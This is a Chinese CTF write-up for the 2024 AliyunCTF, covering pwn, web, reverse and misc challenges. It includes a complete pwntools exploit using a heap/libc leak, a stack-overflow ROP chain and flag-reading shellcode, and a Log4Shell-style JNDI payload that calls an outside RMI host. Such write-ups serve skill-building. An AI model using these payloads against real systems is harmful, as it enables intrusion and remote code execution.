长亭百川云 - 文章详情

2024阿里CTF WriteUp By Mini-Venom

ChaMd5安全团队

75

2024-07-13

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组

Pwn

pwn签到

两个重要的全局变量dword_6080和dword_66E0,本质上是两个数组 dword array[15]
sub_19D6()函数里每次都会更新ptr指针,更新完之后会给起始地址为dword_66E0的变量赋值,所赋的值用来实现sub_2F1D()里不同的功能。dword_6080变量形成的数组是混淆视听的,没有用
利用ptr残留地址泄露libc基地址,下面顺便泄露了下heap base,不过后来没用到

#malloc 0x20 &show(ptr) n1[0] = 0    n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0 shownum(n1) add(0x20,b'a'*0x10,n1) cmd(2) heap_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x290 lg('heap base: ',heap_base) #show(ptr) n1[0] = 0    n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0 add(0x10,b'a',n1) cmd(2) libc.address = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x1ebb61-0x1000 lg('libc base: ',libc.address)

下面是打印功能的实现条件

n1[0] = 0    n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0

有了libc基地址之后,利用栈溢出,使用mprotect函数开一篇rwx区域,执行read数据,然后shellcode拿flag。
栈溢出存在于sub_20F7()

__int64 sub_20F7() {   int i; // [rsp+8h] [rbp-118h]   int v2; // [rsp+Ch] [rbp-114h]   char v3[264]; // [rsp+10h] [rbp-110h] BYREF overflow   unsigned __int64 v4; // [rsp+118h] [rbp-8h]   v4 = __readfsqword(0x28u);   puts("xmki");   if ( dword_66E4 > dword_6714 )   {     if ( dword_66E8 > dword_6708 )     {       read(0, byte_60C0, 0x200uLL);//        here       if ( dword_6080 > dword_608C )         dword_6094 = dword_608C;       else         dword_608C = dword_609C;       if ( dword_6094 > dword_608C )         dword_6094 = dword_6088;       else         dword_60A0 = dword_608C;       if ( dword_66EC != dword_670C )       {         if ( dword_66F0 > dword_6710 )         {           if ( dword_66F4 < dword_6718 && dword_66F8 + dword_66FC > dword_6700 + dword_6704 )           {             if ( dword_6080 > dword_6088 )               dword_6094 = dword_6088;             else               dword_6090 = dword_609C;             if ( (dword_6094 > dword_6088 || dword_609C <= dword_6088) && dword_6094 > dword_608C )               dword_6094 = dword_6088;             else               dword_60A0 = dword_6094;             v2 = snprintf(byte_63E0, 0xAuLL, "%s", byte_60C0);// overflowhere             for ( i = 0; i < v2; ++i )             {               if ( dword_60A8 > dword_608C )                 dword_6094 = dword_6088;               else                 dword_6090 = dword_609C;               if ( (dword_608C > dword_6088 || dword_609C <= dword_60A0) && dword_6094 > dword_608C )                 dword_6094 = dword_6088;               else                 dword_60A0 = dword_6088;               __isoc99_scanf("%d", &v3[4 * i]);               if ( dword_6080 > dword_608C )                 dword_6094 = dword_6088;               else                 dword_6090 = dword_6088;               if ( dword_6088 <= dword_6098 && dword_609C > dword_608C )                 dword_6094 = dword_6088;               else                 dword_60A0 = dword_6094;             }             return 0LL;           }           if ( dword_6080 > dword_608C )             dword_6094 = dword_6088;           else             dword_6090 = dword_6088;           if ( dword_6088 <= dword_6098 && dword_609C > dword_608C )             dword_6094 = dword_6088;           else             dword_60A0 = dword_6094;         }         sub_2CFB();       }       sub_1ED8(ptr);       return 0LL;     }     sub_2907();   }   if ( dword_6080 > dword_608C )     dword_6094 = dword_6088;   else     dword_6090 = dword_609C;   if ( (dword_6094 > dword_6088 || dword_609C <= dword_6098) && dword_6094 > dword_608C )     dword_6094 = dword_6088;   else     dword_60A0 = dword_6094;   sub_2514();   return 0LL; }

snprintf()返回值由第四个参数决定,因此还需要读0x200的数据到0x60c0处

#mid edit & stack overflow n1[0] = 0    n1[15] = 4 n1[1] = 4 n1[13]= 0 n1[2] = 4 n1[10] = 0 n1[3] = 1 n1[11] = 0 n1[4] = 1 n1[12] = 0 n1[5]=0 n1[14]=1 n1[6]=n1[7]=1 n1[8]=n1[9]=0 add(0x20,b'a'*0x10,n1) cmd(2) sla(b'xmki',b'a'*0x200) # pause() for i in range(0x42):     pl = str(0x62626262)     sl(pl) sl("-") sl("-") sl(str(0x62626262)) sl(str(0x62626262)) mprotect = libc.sym['mprotect'] read64 = libc.sym['read'] open64 = libc.sym['open'] write64 = libc.sym['write'] flag_addr = heap_base+0x2a0 addr = libc.sym['__free_hook'] & ~0xfff pop_rdi = libc.address + 0x0000000000023b6a pop_rsi = libc.address + 0x000000000002601f  pop_rdx_rbx = libc.address + 0x000000000015fae6 rop =  p64(pop_rdi) + p64(addr) rop += p64(pop_rsi) + p64(0x1000) rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect) rop += p64(pop_rdi) + p64(0) rop += p64(pop_rsi) + p64(addr) rop += p64(pop_rdx_rbx)+p64(0x600)+p64(0) rop += p64(read64) + p64(addr) for i in range(0,len(rop),4):     n = u32(rop[i:i+4])     sl(str(n)) for _ in range(0x200-0x42-4-(len(rop) // 4)):     sl(str(0x62626262)) sh = shellcraft.open('/flag.txt')     #  shellcraft.read(3,addr+0x300,0x400) +\     #  shellcraft.write(1,addr+0x300,0x100) sh += \ '''     mov rdi, 3     push 0x100     lea rbx, [rsp-8]     push rbx     mov rsi, rsp     mov rdx, 1     xor r10, r10     xor r8, r8     push SYS_preadv     pop rax     syscall          push 1     pop rdi     push 0x1     pop rdx     push 0x100     lea rbx, [rsp+8]     push rbx     mov rsi, rsp     push SYS_writev     pop rax     syscall ''' shellcode = asm(sh)

exp

#writen by flyyy from pwn import * from ctypes import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context.log_level="debug" context(arch='amd64', os='linux') context.terminal = ['tmux','splitw'] file = b'vuln' # p = process(file) p = remote('pwn0.aliyunctf.com',9999) libc = ELF('./libc-2.31.so') #------------------------------------------------------------------- s    = lambda       x:  p.send(x) sa   = lambda     x,y:  p.sendafter(x,y) sl   = lambda       x:  p.sendline(x) sla  = lambda     x,y:  p.sendlineafter(x,y) ru   = lambda     x  :  p.recvuntil(x) rl   = lambda        :  p.recvline() pid  = lambda        :  log.success("pid: " + str(proc.pidof(p))) lg   = lambda     x,y:  log.success(x + str(hex(y))) itr  = lambda        :  p.interactive() a    = lambda        :  gdb.attach(p) #------------------------------------------------------------------- def cmd(a):     sla(b'hhh\n',str(a).encode()) def getnum():     libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')     seed = libc.time(0)     libc.srand(seed)     num = []     for i in range(16):         num.append(libc.rand()%256)     return num     def shownum(num):     count = 0     for n in num:         print(''+str(count) + ': '+str(hex(n)))         count += 1 def add(size,cont,num):     cmd(1)     sla(b'???\n',str(size).encode())     sl(cont)     ru(b'Lucky Numbers\n')     for i in range(16):          time.sleep(0.05)         sl(str(n1[i])) #shwo rand num n = [] n = getnum() shownum(n) n1 = [] n1 = n #malloc 0x20 &show(ptr) n1[0] = 0    n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0 shownum(n1) add(0x20,b'a'*0x10,n1) cmd(2) heap_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x290 lg('heap base: ',heap_base) #show(ptr) n1[0] = 0    n1[15] = 4 n1[1] = 0 n1[13]=4 n1[2]=4 n1[10]=0 n1[3]=0 n1[11]=1 n1[4]=4 n1[12]=0 n1[14]=8 n1[5]=0 n1[8]=n1[9]=0 n1[6]=n1[7]=0 add(0x10,b'a',n1) cmd(2) libc.address = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x1ebb61-0x1000 lg('libc base: ',libc.address) #mid edit & stack overflow n1[0] = 0    n1[15] = 4 n1[1] = 4 n1[13]= 0 n1[2] = 4 n1[10] = 0 n1[3] = 1 n1[11] = 0 n1[4] = 1 n1[12] = 0 n1[5]=0 n1[14]=1 n1[6]=n1[7]=1 n1[8]=n1[9]=0 add(0x20,b'a'*0x10,n1) cmd(2) sla(b'xmki',b'a'*0x200) # pause() for i in range(0x42):     pl = str(0x62626262)     sl(pl) sl("-") sl("-") sl(str(0x62626262)) sl(str(0x62626262)) mprotect = libc.sym['mprotect'] read64 = libc.sym['read'] open64 = libc.sym['open'] write64 = libc.sym['write'] flag_addr = heap_base+0x2a0 addr = libc.sym['__malloc_hook'] & ~0xfff pop_rdi = libc.address + 0x0000000000023b6a pop_rsi = libc.address + 0x000000000002601f  pop_rdx_rbx = libc.address + 0x000000000015fae6 rop =  p64(pop_rdi) + p64(addr) rop += p64(pop_rsi) + p64(0x1000) rop += p64(pop_rdx_rbx) + p64(7) + p64(0) + p64(mprotect) rop += p64(pop_rdi) + p64(0) rop += p64(pop_rsi) + p64(addr) rop += p64(pop_rdx_rbx)+p64(0x600)+p64(0) rop += p64(read64) + p64(addr) for i in range(0,len(rop),4):     n = u32(rop[i:i+4])     sl(str(n)) for _ in range(0x200-0x42-4-(len(rop) // 4)):     sl(str(0x62626262)) sh = shellcraft.open('./flag.txt')     #  shellcraft.read(3,addr+0x300,0x400) +\     #  shellcraft.write(1,addr+0x300,0x100) sh += \ '''     mov rdi, 3     push 0x100     lea rbx, [rsp-8]     push rbx     mov rsi, rsp     mov rdx, 1     xor r10, r10     xor r8, r8     push SYS_preadv     pop rax     syscall          push 1     pop rdi     push 0x1     pop rdx     push 0x100     lea rbx, [rsp+8]     push rbx     mov rsi, rsp     push SYS_writev     pop rax     syscall ''' # print((hex(len(sh))))#0x39 shellcode = asm(sh) # pause() s(shellcode) # a() p.interactive() #aliyunctf{ff81a2c6-386e-4beb-aab8-0490297d244b}

Web

签到

-f /file 这样可以读文件

easyCAS

登录那里抓包,username给这个就行
username=${jndi:rmi://114.67..:1099/localExploitel}
打tomcat本地工厂类bypass即可。

Reverse

欧拉

import copy flag = [0 for i in range(19)] flag[0] = -1 # 数组从下标1开始,flag[0]不使用 flag[15] = 7 flag[18] = 4 maze = [\ 0, 0, 1, 0, 0, 1, 0, 0, 1, \ 0, 0, 0, 1, 1, 1, 0, 0, 1, \ 1, 0, 0, 1, 0, 0, 1, 1, 0, \ 0, 1, 1, 0, 1, 0, 0, 0, 1, \ 0, 1, 0, 1, 0, 0, 1, 0, 0, \ 1, 1, 0, 0, 0, 0, 1, 0, 1, \ 0, 0, 1, 0, 1, 1, 0, 0, 1, \ 0, 0, 1, 0, 0, 0, 0, 0, 1, \ 1, 1, 0, 1, 0, 1, 1, 1, 0, ] # print(maze) def judge(n, f):     if f[2]<=f[3] and n<=2:         return False     if f[4]>=f[5] and n<=4:         return False     if f[1]!=f[9] and n<=1:         return False     # if f[16]!=f[12] and n<=12:     #     return False     if f[11]<=f[6] and n<=11:         return False     if f[4]>=f[14] and n<=4:         return False     if f[8]>=f[5] and n<=5:         return False     return True def search(n, f, maze):     if n == 1 and judge(n,f) == True:         # 推完前15位后,处理16、17位         f[16] = f[12]         if maze[f[15]*9+f[16]] != 1:             return         # 枚举第17位         for i in range(9):             index = f[16] * 9 + i             if maze[index] == 1 and maze[i * 9 + f[18]] == 1:                 f[17] = i                 print('aliyunctf{' + ''.join([str(ch) for ch in f[1:]]) + '}')     if judge(n, f) == False:         return     for i in range(9):         index = i * 9 + f[n]         index_2 = f[n] * 9 + i         if maze[index] is 1:             new_maze = copy.deepcopy(maze)             new_f = copy.deepcopy(f)             new_f[n-1] = i             new_maze[index] = 0             new_maze[index_2] = 0             search(n-1, new_f, new_maze) # 递归,从第15位开始回推,搜索所有可能性 search(15, flag, maze) # aliyunctf{085134620568327814}

Misc

帕鲁情绪管理

爆破第一步脚本

import hashlib import itertools target_hash = "b109c4f6ca9eb69448b4f0b58111163babbdff46a2be758ef8606ea42c6625d0" prefix = "pxf4rg2tpiizdgr3rpk21strcept" charset = "abcdefghijklmnopqrstuvwxyz0123456789" combinations = itertools.product(charset, repeat=4) for combination in combinations:     attempt = prefix + "".join(combination)     hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest()     if hashed_attempt == target_hash:         print("found:", attempt)         break

让ChatGPT写了个简单的模型

######################训练模型############################################## import pandas as pd from sklearn.model_selection import train_test_split from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.svm import LinearSVC from sklearn.metrics import accuracy_score, classification_report # 加载数据集 data = pd.read_csv("Tweets.csv") # 只选择文本和标签列 data = data[['text', 'airline_sentiment']] # 划分数据集为训练集和测试集 X_train, X_test, y_train, y_test = train_test_split(data['text'], data['airline_sentiment'], test_size=0.2, random_state=42) # 将文本转换为TF-IDF特征向量 vectorizer = TfidfVectorizer(max_features=5000, ngram_range=(1,2), stop_words='english') X_train_vec = vectorizer.fit_transform(X_train) X_test_vec = vectorizer.transform(X_test) # 使用线性支持向量机分类器进行情绪预测 svm_classifier = LinearSVC() svm_classifier.fit(X_train_vec, y_train) ######################################################################################## from pwn import * import itertools import hashlib import re import csv context.log_level = 'debug' charset = "abcdefghijklmnopqrstuvwxyz0123456789" combinations = itertools.product(charset, repeat=4) conn = remote('misc0.aliyunctf.com', 9999) sha256_line = conn.recvline() prefix = (sha256_line[9:37]).decode(encoding='utf-8') target_hash = (sha256_line[61:-1]).decode(encoding='utf-8') conn.recvuntil(b'Please input the answer: ') # 枚举四位可见字符 payload = "" for combination in combinations:     attempt = prefix + "".join(combination)     hashed_attempt = hashlib.sha256(attempt.encode()).hexdigest()     if hashed_attempt == target_hash:         print("found:", attempt)         payload = "".join(combination)         break conn.sendline(payload) conn.recvuntil(b'Do you want to training? (y/n) ') conn.sendline(b'y') conn.recvuntil(b'ow, Do you want to start challenge? (y/n) ') conn.sendline(b'y') for i in range(15):     round_line = (conn.recvline()).decode(encoding='utf-8')     pattern = r"text: @(.+)"     search_result = re.search(pattern, round_line)     test_words = search_result.group(1)     log.success(test_words)     text_to_predict = [test_words]     text_to_predict_vec = vectorizer.transform(text_to_predict)     predicted_sentiment = svm_classifier.predict(text_to_predict_vec)     res = predicted_sentiment[0]     log.success(res)     conn.sendline(res)      # Congratulations! You have passed the challenge! # Here is the flag: aliyunctf{N0_0N3_knOW_5ent1M3Nt_An41Y2E_7H4n_Y0u}

- END -

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2